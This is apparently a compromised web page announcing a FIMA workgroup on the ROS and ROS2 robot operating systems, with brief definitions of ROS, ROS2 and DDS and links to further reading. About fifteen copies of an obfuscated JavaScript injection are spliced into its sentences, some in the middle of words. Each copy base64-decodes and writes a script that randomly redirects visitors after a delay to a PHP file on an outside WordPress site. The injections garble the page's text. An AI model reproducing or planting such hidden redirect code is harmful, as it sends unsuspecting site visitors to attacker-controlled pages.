ROS Workgroup kick-off

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  • Kampusklubi, TAU Korkeakoulunkatu 6, tampere

Because of wide interest, FIMA is starting a new work group to build up members knowledge function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and collaboration. The theme is ROS function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and ROS2 robot operation systems (see definitions below)
The target of this workgroup is to

  • give precise function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and practical information about ROS operating systems
  • evaluate the value function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and possibilities to work machine business
  • offer a way to further research function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and collaboration with other companies function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and research organisations

Program

ROS:
Developed originally in Stanford university by robotics researchers. It provides software package management, publish-subscribe model of communication between computational tasks  function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and a few software packages hfunction b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');andling common kinematics function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and visualization.
More about ROS:

https://en.wikipedia.org/wiki/Robot_Operating_System

http://wiki.ros.org/ROS/Introduction

ROS2:
A reimplementation of ROS to alleviate the fundamental shortcomings of ROS for industrial use. It uses DDS as the underlying middleware function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and provides a robotics related abstraction layer on it.

DDS:
A software function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and communication protocol stfunction b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');andard provided by Object Management Group to facilitate distributed, real-time publish-subscribe model of communication. It defines a very thorough set of quality of service settings so that end users do not have to implement them by themselves. The stfunction b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');andard implementations function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and extensions are fit for industrial use function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and many providers give tools to assist in certifying the software.

More about ROS2 function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<>4);o4=((p4&15)<>2);se=((n6&3)<=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and DDS:
http://design.ros2.org/articles/why_ros2.html

http://design.ros2.org/articles/ros_on_dds.html